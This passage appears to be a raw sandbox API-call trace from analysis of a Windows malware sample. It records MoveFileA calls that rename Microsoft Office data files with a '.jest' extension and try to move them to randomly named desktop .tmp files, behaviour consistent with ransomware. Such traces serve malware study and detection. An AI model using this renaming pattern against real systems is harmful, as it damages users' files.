halpmcxz\\desktop\\pn8d7yap gjy2eb7c0j4ibie80m2kthfhvfnp_q3t4uifs-kfg5gg65bnrtm0cp3wwryjv3jjytleaixf4iuk1ydflqdjfyup1nhi.tmp")) returned 0 [0168.733] GetLastError () returned 0x2 [0168.733] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.734] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg.jest")) returned 1 [0168.737] VarBstrFromR4 (in: fltIn=0x47945926, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.3") returned 0x0 [0168.738] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K4dZV1OOD2i_AjMcD9LQ nGQcymFVTN2b79Gx-vE1K47wdu7h30br5lP_Q6HWJyDFV86qPGQtlm5VjJzdND2gqpGQyzR0jRnd3tIw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k4dzv1ood2i_ajmcd9lq ngqcymfvtn2b79gx-ve1k47wdu7h30br5lp_q6hwjydfv86qpgqtlm5vjjzdnd2gqpgqyzr0jrnd3tiw.tmp")) returned 0 [0168.738] GetLastError () returned 0x2 [0168.738] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.740] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg.jest")) returned 1 [0168.742] VarBstrFromR4 (in: fltIn=0x47945928, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.31") returned 0x0 [0168.743] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y-iFuzNMrQ0n 9vC8-TN0Sriw7yRqvHNXaA7Yr-RSi1e_AkTtD7beStQ5uVxCJHkE-vGAILdg-O-SpiSUKiX6IkfwEObqcoumpe7Z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y-ifuznmrq0n 9vc8-tn0sriw7yrqvhnxaa7yr-rsi1e_akttd7bestq5uvxcjhke-vgaildg-o-spisukix6ikfweobqcoumpe7z.tmp")) returned 0 [0168.743] GetLastError () returned 0x2 [0168.743] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.744] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg.jest")) returned 1 [0168.746] VarBstrFromR4 (in: fltIn=0x47945928, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.31") returned 0x0 [0168.747] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ydvzvO1DZYPRrGF0XiKZM3LsRLW5KMSoop-EIBQHf2XbgUbiGb8MhAo_r 6u-f32mS9mugBgzWGGl_zBxjoBiWiwup0f7Gl25fOQk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ydvzvo1dzyprrgf0xikzm3lsrlw5kmsoop-eibqhf2xbgubigb8mhao_r 6u-f32ms9mugbgzwggl_zbxjobiwiwup0f7gl25foqk.tmp")) returned 0 [0168.747] GetLastError () returned 0x2 [0168.747] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="﹏", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg.jest")) returned 1 [0168.751] VarBstrFromR4 (in: fltIn=0x47945928, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.31") returned 0x0 [0168.751] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zvu9LI6 Yq3UKE2AQ pXeMgtjOugFP-BRWPM9LdN2Tpjht-QRt6SxuHjczRGepUL2MNqfGknlHAi7-uKXI4DEf fB-slueT45i.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zvu9li6 yq3uke2aq pxemgtjougfp-brwpm9ldn2tpjht-qrt6sxuhjczrgepul2mnqfgknlhai7-ukxi4def fb-sluet45i.tmp")) returned 0 [0168.751] GetLastError () returned 0x2 [0168.752] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.753] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg.jest")) returned 1 [0168.755] VarBstrFromR4 (in: fltIn=0x47945929, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.32") returned 0x0 [0168.756] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RBDFofsKP7k94ULFC1Zgvf7VEAhm7ZUpaBxBdvWQesEX1IbtrY26qMEecs3GqC3u0FV9ItEWMUC oTQ_VIxnqQgpZpAaxu8fs oWy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rbdfofskp7k94ulfc1zgvf7veahm7zupabxbdvwqesex1ibtry26qmeecs3gqc3u0fv9itewmuc otq_vixnqqgpzpaaxu8fs owy.tmp")) returned 0 [0168.756] GetLastError () returned 0x2 [0168.757] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.758] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css.jest")) returned 1 [0168.760] VarBstrFromR4 (in: fltIn=0x47945929, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.32") returned 0x0 [0168.761] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8AmqXW61hUkV1gzRJS4RFuzfzC8U5WB9UY4ZW-dVsUzRRNq5bSFBTII0pw8L1thz2Kzj_Gw6oEb-0Cr9451vowMpWv1_llnO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8amqxw61hukv1gzrjs4rfuzfzc8u5wb9uy4zw-dvsuzrrnq5bsfbtii0pw8l1thz2kzj_gw6oeb-0cr9451vowmpwv1_llno.tmp")) returned 0 [0168.761] GetLastError () returned 0x2 [0168.762] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.763] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg.jest")) returned 1 [0168.765] VarBstrFromR4 (in: fltIn=0x47945929, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.32") returned 0x0 [0168.766] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K3bfu58oEIF0-E8Y_3S5GEhEyaK6j8GlduYq2qKZd3-yPB59SFcUVHSvIAAV6jVIazdZdK-82WNBth0DCnyalTlzcuHobiW5 Hr9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k3bfu58oeif0-e8y_3s5geheyak6j8glduyq2qkzd3-ypb59sfcuvhsviaav6jviazdzdk-82wnbth0dcnyaltlzcuhobiw5 hr9.tmp")) returned 0 [0168.766] GetLastError () returned 0x2 [0168.766] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.767] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg.jest")) returned 1 [0168.769] VarBstrFromR4 (in: fltIn=0x47945929, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.32") returned 0x0 [0168.769] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ILBvPs8Qi41ZAO2fSo2cvJS80My1Ab3y6Od0IdClX3atKDMlQ_eFqkDcQmV5SxJn62F2_JCw KfW5KtKKFb7HtKhh- lojoAy1QA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ilbvps8qi41zao2fso2cvjs80my1ab3y6od0idclx3atkdmlq_efqkdcqmv5sxjn62f2_jcw kfw5ktkkfb7htkhh- lojoay1qa.tmp")) returned 0 [0168.770] GetLastError () returned 0x2 [0168.770] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.771] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg.jest")) returned 1 [0168.775] VarBstrFromR4 (in: fltIn=0x4794592c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.34") returned 0x0 [0168.776] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pOV2x_IfE_jLE9PrxGSK78FlRIWykuoOseH5X287YorGBxFEXQ9DtyXt8SJPa3fFAFkjBqZQDuT_XCLDX2vlOsLDzpc9vO_4_b15.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pov2x_ife_jle9prxgsk78flriwykuooseh5x287yorgbxfexq9dtyxt8sjpa3ffafkjbqzqdut_xcldx2vlosldzpc9vo_4_b15.tmp")) returned 0 [0168.776] GetLastError () returned 0x2 [0168.776] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.777] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg.jest")) returned 1 [0168.779] VarBstrFromR4 (in: fltIn=0x4794592c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.34") returned 0x0 [0168.780] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t 64p0X1F8 XWM2z4I783 JqJSRSLWoXNp0KfuggJshJ_egFvMXFVI9IH34nw5zRM7c37zOp2OQXC3qtJbbdYTYAMoLTAKJrBIM0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t 64p0x1f8 xwm2z4i783 jqjsrslwoxnp0kfuggjshj_egfvmxfvi9ih34nw5zrm7c37zop2oqxc3qtjbbdytyamoltakjrbim0.tmp")) returned 0 [0168.780] GetLastError () returned 0x2 [0168.780] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.782] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg.jest")) returned 1 [0168.783] VarBstrFromR4 (in: fltIn=0x4794592c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.34") returned 0x0 [0168.784] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rHfrOiUj6zp6B2qBJaIi580JfmKRDRPtDdCihgynS8zHb51LxXUvZiauvHGugb0WPdPX6bixsvA07kfy-mLC8Zqiw4G5VVQR8luQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rhfroiuj6zp6b2qbjaii580jfmkrdrptddcihgyns8zhb51lxxuvziauvhgugb0wpdpx6bixsva07kfy-mlc8zqiw4g5vvqr8luq.tmp")) returned 0 [0168.784] GetLastError () returned 0x2 [0168.787] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.789] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml.jest")) returned 1 [0168.792] VarBstrFromR4 (in: fltIn=0x4794592d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.35") returned 0x0 [0168.793] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J9me6RF3e4tQ-IA0l_7VUsQP6komUi5tA2pB5DPp3UTj2lCGRt7WyXVM11 UuXr7 R8Je5puuXjErSmZGDSqbiwFHx-4dAg 1_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j9me6rf3e4tq-ia0l_7vusqp6komui5ta2pb5dpp3utj2lcgrt7wyxvm11 uuxr7 r8je5puuxjersmzgdsqbiwfhx-4dag 1_.tmp")) returned 0 [0168.793] GetLastError () returned 0x2 [0168.793] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.795] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml.jest")) returned 1 [0168.797] VarBstrFromR4 (in: fltIn=0x4794592d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.35") returned 0x0 [0168.797] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ypVe36GMXlclWppaQUw9gG6m_ RsIS89-_qnIu2Yrf5vuno9h9mcyFrf2k dGC2IQvEp8iDIsl-6kuag9K9Y96oMecuYzi0n5RyGZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ypve36gmxlclwppaquw9gg6m_ rsis89-_qniu2yrf5vuno9h9mcyfrf2k dgc2iqvep8idisl-6kuag9k9y96omecuyzi0n5rygz.tmp")) returned 0 [0168.798] GetLastError () returned 0x2 [0168.798] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.799] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml.jest")) returned 1 [0168.802] VarBstrFromR4 (in: fltIn=0x4794592f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.37") returned 0x0 [0168.803] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 